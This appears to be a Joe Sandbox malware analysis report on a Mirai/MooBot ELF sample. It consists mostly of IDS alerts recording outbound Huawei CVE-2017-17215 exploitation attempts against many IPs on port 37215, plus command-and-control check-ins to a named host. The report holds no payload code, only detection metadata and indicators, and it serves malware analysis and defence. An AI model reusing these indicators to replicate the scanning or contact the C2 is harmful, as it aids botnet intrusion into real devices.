ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.242.100.27

Timestamp:	2024-08-06T08:33:19.292140+0200
SID:	2835222
Source Port:	41022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.17.186.253

Timestamp:	2024-08-06T08:33:19.315296+0200
SID:	2835222
Source Port:	55438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.198.249.101

Timestamp:	2024-08-06T08:33:19.267431+0200
SID:	2835222
Source Port:	40264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.128.196.111

Timestamp:	2024-08-06T08:33:17.814294+0200
SID:	2835222
Source Port:	57830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.146.232.115

Timestamp:	2024-08-06T08:33:19.198779+0200
SID:	2835222
Source Port:	52772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.169.215.186

Timestamp:	2024-08-06T08:33:23.491050+0200
SID:	2835222
Source Port:	38506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.229.186.220

Timestamp:	2024-08-06T08:33:19.297152+0200
SID:	2835222
Source Port:	56768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.83.20.241

Timestamp:	2024-08-06T08:33:19.609612+0200
SID:	2835222
Source Port:	53660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.83.38.198

Timestamp:	2024-08-06T08:33:19.287918+0200
SID:	2835222
Source Port:	35260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.31.186.195

Timestamp:	2024-08-06T08:33:20.946066+0200
SID:	2835222
Source Port:	46298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.168.55.54

Timestamp:	2024-08-06T08:33:19.298047+0200
SID:	2835222
Source Port:	36966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.249.148.178

Timestamp:	2024-08-06T08:33:19.625836+0200
SID:	2835222
Source Port:	46238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.99.182.216

Timestamp:	2024-08-06T08:33:20.942058+0200
SID:	2835222
Source Port:	54208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.192.7.65

Timestamp:	2024-08-06T08:33:20.946025+0200
SID:	2835222
Source Port:	37692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.210.44.233

Timestamp:	2024-08-06T08:33:19.296040+0200
SID:	2835222
Source Port:	50328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.77.215.2

Timestamp:	2024-08-06T08:33:19.297062+0200
SID:	2835222
Source Port:	56762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.191.143.79

Timestamp:	2024-08-06T08:33:19.624769+0200
SID:	2835222
Source Port:	50514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.89.220.28

Timestamp:	2024-08-06T08:33:20.938116+0200
SID:	2835222
Source Port:	39092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.224.86.246

Timestamp:	2024-08-06T08:33:20.930100+0200
SID:	2835222
Source Port:	48358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.47.235.221

Timestamp:	2024-08-06T08:33:19.293593+0200
SID:	2835222
Source Port:	39430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.64.64.86

Timestamp:	2024-08-06T08:33:20.946068+0200
SID:	2835222
Source Port:	60716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.243.95.77

Timestamp:	2024-08-06T08:33:19.284980+0200
SID:	2835222
Source Port:	36302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.146.138.56

Timestamp:	2024-08-06T08:33:19.266965+0200
SID:	2835222
Source Port:	49550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.81.246.30

Timestamp:	2024-08-06T08:33:19.286125+0200
SID:	2835222
Source Port:	49078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.96.92.153

Timestamp:	2024-08-06T08:33:19.327534+0200
SID:	2835222
Source Port:	36340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.3.234.130

Timestamp:	2024-08-06T08:33:19.640609+0200
SID:	2835222
Source Port:	52110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.177.204.221

Timestamp:	2024-08-06T08:33:19.347867+0200
SID:	2835222
Source Port:	49902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.148.25.151

Timestamp:	2024-08-06T08:33:19.627290+0200
SID:	2835222
Source Port:	46490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.110.107.187

Timestamp:	2024-08-06T08:33:19.621613+0200
SID:	2835222
Source Port:	51716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.88.121.9

Timestamp:	2024-08-06T08:33:19.657601+0200
SID:	2835222
Source Port:	34230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.132.244.189

Timestamp:	2024-08-06T08:33:19.622253+0200
SID:	2835222
Source Port:	33674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.112.240.90

Timestamp:	2024-08-06T08:33:19.297574+0200
SID:	2835222
Source Port:	60224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.227.117.100

Timestamp:	2024-08-06T08:33:19.233151+0200
SID:	2835222
Source Port:	40490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 154.216.17.9

Timestamp:	2024-08-06T08:33:13.093524+0200
SID:	2030490
Source Port:	44594
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.20.59.113

Timestamp:	2024-08-06T08:33:19.253505+0200
SID:	2835222
Source Port:	46704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.190.145.133

Timestamp:	2024-08-06T08:33:17.814339+0200
SID:	2835222
Source Port:	49292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.183.140.161

Timestamp:	2024-08-06T08:33:20.930101+0200
SID:	2835222
Source Port:	57220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.218.183.57

Timestamp:	2024-08-06T08:33:19.218762+0200
SID:	2835222
Source Port:	45330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.165.159.159

Timestamp:	2024-08-06T08:33:19.643300+0200
SID:	2835222
Source Port:	35802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.9.49.106

Timestamp:	2024-08-06T08:33:19.544293+0200
SID:	2835222
Source Port:	45542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.139.158.191

Timestamp:	2024-08-06T08:33:19.297149+0200
SID:	2835222
Source Port:	50104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.234.139.223

Timestamp:	2024-08-06T08:33:19.292997+0200
SID:	2835222
Source Port:	36268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.52.174.50

Timestamp:	2024-08-06T08:33:19.282761+0200
SID:	2835222
Source Port:	60530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.248.247.37

Timestamp:	2024-08-06T08:33:20.942098+0200
SID:	2835222
Source Port:	57566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 154.216.17.9

Timestamp:	2024-08-06T08:32:56.843389+0200
SID:	2030490
Source Port:	57992
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 154.216.17.9

Timestamp:	2024-08-06T08:33:00.460406+0200
SID:	2030490
Source Port:	33166
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.178.231.23

Timestamp:	2024-08-06T08:33:19.233611+0200
SID:	2835222
Source Port:	35450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.207.104.124

Timestamp:	2024-08-06T08:33:19.330190+0200
SID:	2835222
Source Port:	52882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.177.58.191

Timestamp:	2024-08-06T08:33:20.934025+0200
SID:	2835222
Source Port:	51486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.64.229.92

Timestamp:	2024-08-06T08:33:19.246723+0200
SID:	2835222
Source Port:	39274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.227.16.3

Timestamp:	2024-08-06T08:33:20.942180+0200
SID:	2835222
Source Port:	38536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.132.30.188

Timestamp:	2024-08-06T08:33:19.312858+0200
SID:	2835222
Source Port:	55402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.165.153.109

Timestamp:	2024-08-06T08:33:17.814344+0200
SID:	2835222
Source Port:	56754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.113.242.239

Timestamp:	2024-08-06T08:33:17.822158+0200
SID:	2835222
Source Port:	57836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.240.242.22

Timestamp:	2024-08-06T08:33:19.608126+0200
SID:	2835222
Source Port:	44138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.234.85.63

Timestamp:	2024-08-06T08:33:17.814342+0200
SID:	2835222
Source Port:	52662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.239.82.241

Timestamp:	2024-08-06T08:33:19.638910+0200
SID:	2835222
Source Port:	41196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.198.134.80

Timestamp:	2024-08-06T08:33:17.814299+0200
SID:	2835222
Source Port:	60270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.78.201.98

Timestamp:	2024-08-06T08:33:19.230544+0200
SID:	2835222
Source Port:	54080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.243.120.101

Timestamp:	2024-08-06T08:33:19.215980+0200
SID:	2835222
Source Port:	58684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.115.118.2

Timestamp:	2024-08-06T08:33:20.938077+0200
SID:	2835222
Source Port:	57614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.213.90.130

Timestamp:	2024-08-06T08:33:19.290566+0200
SID:	2835222
Source Port:	41660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.69.62.137

Timestamp:	2024-08-06T08:33:19.266913+0200
SID:	2835222
Source Port:	48876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.69.204

Timestamp:	2024-08-06T08:33:19.315205+0200
SID:	2835222
Source Port:	46410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.241.21.104

Timestamp:	2024-08-06T08:33:20.950207+0200
SID:	2835222
Source Port:	51622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.99.80.91

Timestamp:	2024-08-06T08:33:19.315585+0200
SID:	2835222
Source Port:	53476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.121.87.211

Timestamp:	2024-08-06T08:33:20.926124+0200
SID:	2835222
Source Port:	59812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.156.102.139

Timestamp:	2024-08-06T08:33:19.235668+0200
SID:	2835222
Source Port:	42098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.46.53.169

Timestamp:	2024-08-06T08:33:19.610555+0200
SID:	2835222
Source Port:	42962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.99.124.37

Timestamp:	2024-08-06T08:33:19.288219+0200
SID:	2835222
Source Port:	44302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.104.24.129

Timestamp:	2024-08-06T08:33:19.233955+0200
SID:	2835222
Source Port:	57802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.31.205.62

Timestamp:	2024-08-06T08:33:19.265850+0200
SID:	2835222
Source Port:	43764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.182.54.204

Timestamp:	2024-08-06T08:33:17.818146+0200
SID:	2835222
Source Port:	45386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.195.75.21

Timestamp:	2024-08-06T08:33:19.246891+0200
SID:	2835222
Source Port:	46990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.50.164.206

Timestamp:	2024-08-06T08:33:20.938121+0200
SID:	2835222
Source Port:	42174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.187.38.232

Timestamp:	2024-08-06T08:33:19.265935+0200
SID:	2835222
Source Port:	51574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.141.165.224

Timestamp:	2024-08-06T08:33:19.266746+0200
SID:	2835222
Source Port:	57336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.248.74.54

Timestamp:	2024-08-06T08:33:19.626400+0200
SID:	2835222
Source Port:	33664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.140.10.92

Timestamp:	2024-08-06T08:33:20.946019+0200
SID:	2835222
Source Port:	51066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.17.168.238

Timestamp:	2024-08-06T08:33:20.942091+0200
SID:	2835222
Source Port:	46004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.164.3.200

Timestamp:	2024-08-06T08:33:19.233231+0200
SID:	2835222
Source Port:	57116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.252.2.121

Timestamp:	2024-08-06T08:33:19.267897+0200
SID:	2835222
Source Port:	38224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.61.72

Timestamp:	2024-08-06T08:33:19.297058+0200
SID:	2835222
Source Port:	47718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.198.132.82

Timestamp:	2024-08-06T08:33:20.938080+0200
SID:	2835222
Source Port:	41070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.110.250.215

Timestamp:	2024-08-06T08:33:19.637669+0200
SID:	2835222
Source Port:	36414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.164.8.110

Timestamp:	2024-08-06T08:33:19.286299+0200
SID:	2835222
Source Port:	59800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.79.169.4

Timestamp:	2024-08-06T08:33:19.314605+0200
SID:	2835222
Source Port:	37666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.181.110.86

Timestamp:	2024-08-06T08:33:19.245441+0200
SID:	2835222
Source Port:	36104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.96.167.241

Timestamp:	2024-08-06T08:33:19.300345+0200
SID:	2835222
Source Port:	44050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.151.199.82

Timestamp:	2024-08-06T08:33:19.625758+0200
SID:	2835222
Source Port:	42780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.126.162.69

Timestamp:	2024-08-06T08:33:19.637328+0200
SID:	2835222
Source Port:	55994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.209.183.183

Timestamp:	2024-08-06T08:33:19.267514+0200
SID:	2835222
Source Port:	55158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.136.180.243

Timestamp:	2024-08-06T08:33:19.638010+0200
SID:	2835222
Source Port:	50910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.215.128.179

Timestamp:	2024-08-06T08:33:17.814388+0200
SID:	2835222
Source Port:	51094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.223.154.61

Timestamp:	2024-08-06T08:33:20.938079+0200
SID:	2835222
Source Port:	59340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.154.7.11

Timestamp:	2024-08-06T08:33:19.316313+0200
SID:	2835222
Source Port:	39588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.167.42.248

Timestamp:	2024-08-06T08:33:20.930095+0200
SID:	2835222
Source Port:	41480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.56.49.46

Timestamp:	2024-08-06T08:33:19.316185+0200
SID:	2835222
Source Port:	54038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	ReversingLabs: Detection: 71%
